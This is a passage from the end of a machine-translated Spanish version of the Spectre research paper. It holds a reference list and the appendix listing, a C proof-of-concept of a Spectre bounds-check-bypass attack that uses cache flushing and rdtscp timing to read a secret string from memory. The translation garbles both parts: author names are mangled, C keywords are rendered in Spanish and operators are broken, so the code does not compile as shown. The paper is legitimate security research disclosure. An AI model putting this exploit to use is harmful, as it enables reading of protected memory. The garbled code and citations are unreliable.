sombreado rama. En posium 26 USENIX de Seguridad sim-, USENIX de Seguridad
2017, Vancouver, BC, Canadá, 16-18 de agosto de 2017. ( 2017), pp. 557-574.
[27] L IPP, M., S CHWARZ, M., G RUSS, D., P Rescher, T., H AAS,
W., M ANGARD, S., K ocre, P., G Enkin, D., Y amplitud del movimiento activo, Y., Y H
http: //
Amburg, M. Meltdown. Sin publicar, 2018.
[28] L IU, F., Y amplitud del movimiento activo, Y., G MI, Q., H EISER, G., Y L EE, RB de caché de nivel Última
ataques de canal lateral son prácticos. En IEEE sim- posium sobre seguridad y privacidad (S & P)
2015 ( 2015), IEEE.
[29] O Svik, DA, S Hamir, A., Y T ROMER, E. ataques de caché y contramedidas: El caso de
AES. En Temas en la criptología
- CT-RSA 2006 ( De febrero de 2006), D. Pointcheval, Ed., Vol. 3860 de
Lecture Notes in Computer Science, Springer, Heidelberg, pp. 1-
20.
[30] P ERCIVAL, C. caché que faltan para la diversión y fi nes. http: //
www.daemonology.net/papers/htt.pdf, 2005.
[31] Q UISQUATER, J.-J., Y S AMYDE, D. electromagnética análi- sis (EMA): Medidas y
contramedidas para tarjetas inteligentes. En
E-Smart 2001 ( 2001), pp. 200-210.
[32] S CHWARZ, M., M AURICE, C, G RUSS, D., Y M ANGARD, S. temporizadores fantásticos y
dónde hallar ellos: de alta resolución microar- ataques chitectural en JavaScript.
En Conferencia Internacional
en criptografía y seguridad de datos financieros ( 2017), Springer, pp. 247-267. [33]
S Hacham, H. La geometría de carne inocente en el hueso: el retorno-en-libc sin
llamadas de función (en el 86). En ACM CCS 07: 14ª Conferencia de Informática y
Comunicaciones de Seguridad
(Oct. 2007), P. Ning, SDC di Vimercati, y PF Syverson, Eds., ACM Press, pp.
552-561. [34] T ANG, A., S ETHUMADHAVAN, S., Y S TOLFO, S. CLKSCREW:
exponer los peligros de la gestión de la energía, la seguridad ajeno. 26 USENIX
Simposio de Seguridad, 2017. [35] T Sunoo, Y., S AITO, T., S Uzaki, T., S HIGERI, M., Y
M IYAUCHI, H. El criptoanálisis de DES implementado en ordenadores con memoria
caché. En Hardware criptográfico y sistemas embebidos
- CHES 2003 ( Septiembre de 2003), CD Walter, C ETIN Kaya. Koc, y
C. Paar, Eds., Vol. 2779 de Lecture Notes in Computer Science,
Springer, Heidelberg, pp. 62-76.
13
[36] Y amplitud del movimiento activo, Y., Y F ALKNER, K. FLUSH + Actualizar: Una alta resolución, de
poco ruido, L3 cache ataque de canal lateral. En USENIX Simposio de Seguridad ( 2014),
USENIX Asociación, pp. 719-732.

[37] Y amplitud del movimiento activo, Y., Y F ALKNER, K. F LUSH + R ELOAD: Una alta reso-

lución, de poco ruido, caché L3 ataque de canal lateral. En USENIX segu- ridad
Simposio 2014 ( 2014), USENIXAssociation, pp. 719-732.

[38] Y amplitud del movimiento activo, Y., G MI, P., L UI, HUIR, RB, Y H EISER, G. Mapeo de la
memoria caché de nivel último de Intel. Criptología ePrint Archivo, Informe 2015/905,
2015. http://eprint.iacr.org/2015/905.

14
Un espectro ejemplo de implementación

1# incluir <stdio.h>
2# incluir <stdlib.h>
3# incluir <stdint.h>
#4 ifdef _MSC_VER
5# incluir <intrin.hy> / * Para rdtscp y clflush * /
6# Optimizar pragma ( "GT" ,en)
7# más
#8 incluir <x86intrin.h> / * Para rdtscp y clflush * /
9# terminara si

10 11 / ************************************************* *******************

12 código víctima.
13 ************************************************** ****************** /

14 unsigned int array1_size = 16;

15 uint8_t unused1 [64];
dieciséis array1 uint8_t [160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
17 uint8_t unused2 [64];
18 array2 uint8_t [256 * 512];
19 20 carbonizarse * = Secreta "Las palabras mágicas son aprensivos quebrantahuesos". ;

21 22 temp uint8_t = 0; / * Se utiliza por lo compilador no permitirá optimizar cabo victim_function () * /

23 24 vacío victim_function ( size_t X) {

25 si (x <array1_size) {
26 temp & = array2 [array1 [x] * 512];
27 }
28} 29 30 31 / ************************************************* *******************

32 código de análisis
33 ************************************************** ****************** /

34 # definir CACHE_HIT_THRESHOLD (80) / * asumir aciertos de caché si el tiempo <= umbral * /

35 36 / * Informar mejor estimación del valor [0] y en segundo lugar en valor [1] * /

37 vacío readMemoryByte ( size_t malicious_x, valor uint8_t [2], En t Resultado [2]) {

38 static int resultados [256];
39 En t tries, i, j, k, mix_i, chatarra = 0;
40 size_t training_x, X;
41 registrarse uint64_t tiempo1, tiempo2;
42 volátil uint8_t * addr;
43

44 for (i = 0; i <256; i ++)

45 Resultados [i] = 0;
46 para (tries = 999; intenta> 0; tries--) {
47

48 / * Array2 Flush [256 * (0..255)] de la memoria caché * /

49 for (i = 0; i <256; i ++)
50 _mm_clflush (y array2 [i * 512]); / * intrínseca para la instrucción clflush * /
51

52 / * 30: 5 bucles carreras de entrenamiento (x = training_x) por pasada de ataque (x = malicious_x) * /

53 training_x = trata% array1_size;
54 para (j = 29; j> = 0; j--) {
55 _mm_clflush (y array1_size);
56 para ( int volátiles z = 0; z <100; z ++) {} / * Delay (también puede mfence) * /
57

58 / * Bit haciendo girar para ajustar x = training_x si j% 6! = 0 o malicious_x si j% 6 == 0 * /

59 / * Evitar saltos en el caso de los que la punta de la predictor de saltos * /
60 x = ((j% 6) - 1) y ~ 0xFFFF; / * Ajuste x = FFF.FF0000 si% 6 j == 0, de lo contrario x = 0 * /
61 x = (x | (x >> 16)); / * Set x = -1 si j & 6 = 0, de lo contrario x = 0 * /
62 x = training_x ^ (x y (malicious_x ^ training_x));
63

64 / * Llame a la víctima! * /
sesenta y cinco victim_function (x);

15
 66 }
67

68 / * Tiempo lee. Fin se mezcla suavemente hacia arriba para evitar la predicción zancada * /
69 for (i = 0; i <256; i ++) {
70 mix_i = ((i * 167) + 13) y 255;
71 addr = & array2 [mix_i * 512];
72 time1 = __rdtscp (y no deseado); / * * LEER TEMPORIZADOR /

73 basura = * addr; / * MEMORIA DE ACCESO A LA HORA * /

74 tiempo2 = __rdtscp (y deseado) - tiempo1; / * LEER TIMER y Calcular tiempo transcurrido * /
75 si (tiempo2 <= CACHE_HIT_THRESHOLD && mix_i! = array1 [intenta% array1_size])
76 Resultados [mix_i] ++; / * aciertos de caché - 1 añadir a la puntuación para este valor * /
77 }
78

79 / * Localizar más altos y segundo más alto Resultados Resultados recuentos en j / k * /

80 j = k = -1;
81 for (i = 0; i <256; i ++) {
82 if (j <0 || resultados [i] => resultados [j]) {
83 k = j;
84 j = i;
85 } Else if (k <0 || resultados [i] => resultados [k]) {
86 k = i;
87 }
88 }
89 si (resultados [j]> = (2 * resultados [k] + 5) || (resultados [j] == 2 && resultados [k] == 0))
90 descanso; / * Éxito claro si es mejor> 2 * subcampeón + 5 ó 2/0) * /
91 }
92 Resultados [0] ^ = basura; / * utilizar chatarra por lo que el código de seguridad no quede optimizado a cabo * /
93 valor [0] = (uint8_t) j;
94 Resultado [0] = resultados [j];
95 valor [1] = k (uint8_t);
96 Resultado [1] = resultados [k];
97} 98 99 En t principal( En t argc, const carbonizarse ** argv) {

100 size_t malicious_x = ( size_t )(secreto-( carbonizarse *) Array1); / * Por defecto para malicious_x * /
101 En t i, SCORE [2], len = 40;
102 valor uint8_t [2];
103

104 for (i = 0; i <sizeof (array2); i ++)

105 array2 [i] = 1; / * Escribir a array2 por lo que en la memoria RAM no copia en escritura cero páginas * /
106 si (== argc 3) {
107 sscanf (argv [1], "%pag" , ( vacío **) (y malicious_x));
108 malicious_x - = ( size_t ) Array1; / * Convertir el valor de entrada en un puntero * /
109 sscanf (argv [2], "%re" , Y len);
110 }
111

112 printf ( "Lectura% d bytes: \ n" , Len);

113 while (--len> = 0) {
114 printf ( "Lectura en malicious_x =% p ..." , ( vacío *) Malicious_x);
115 readMemoryByte (malicious_x ++, el valor, la puntuación);
116 printf ( "% S:" , (Puntuación [0]> = 2 * Partitura [1]? "Éxito" : "Poco claro" ));
117 printf ( "0x% 02X = '% c' puntuación =% d " , El valor de [0],
118 (Valor de [0]> 31 && valor [0] <127 valor [0]?: '?' ), La puntuación de [0]);
119 si (puntuación [1]> 0)
120 printf ( "(Segunda mejor: 0x% 02X puntuación =% d)" , El valor de [1], la puntuación de [1]);
121 printf ( "\norte" );
122 }
123 retorno (0);
124}

Listado 4: Una memoria de lectura demostración del uso de un ataque Spectre en x86.

dieciséis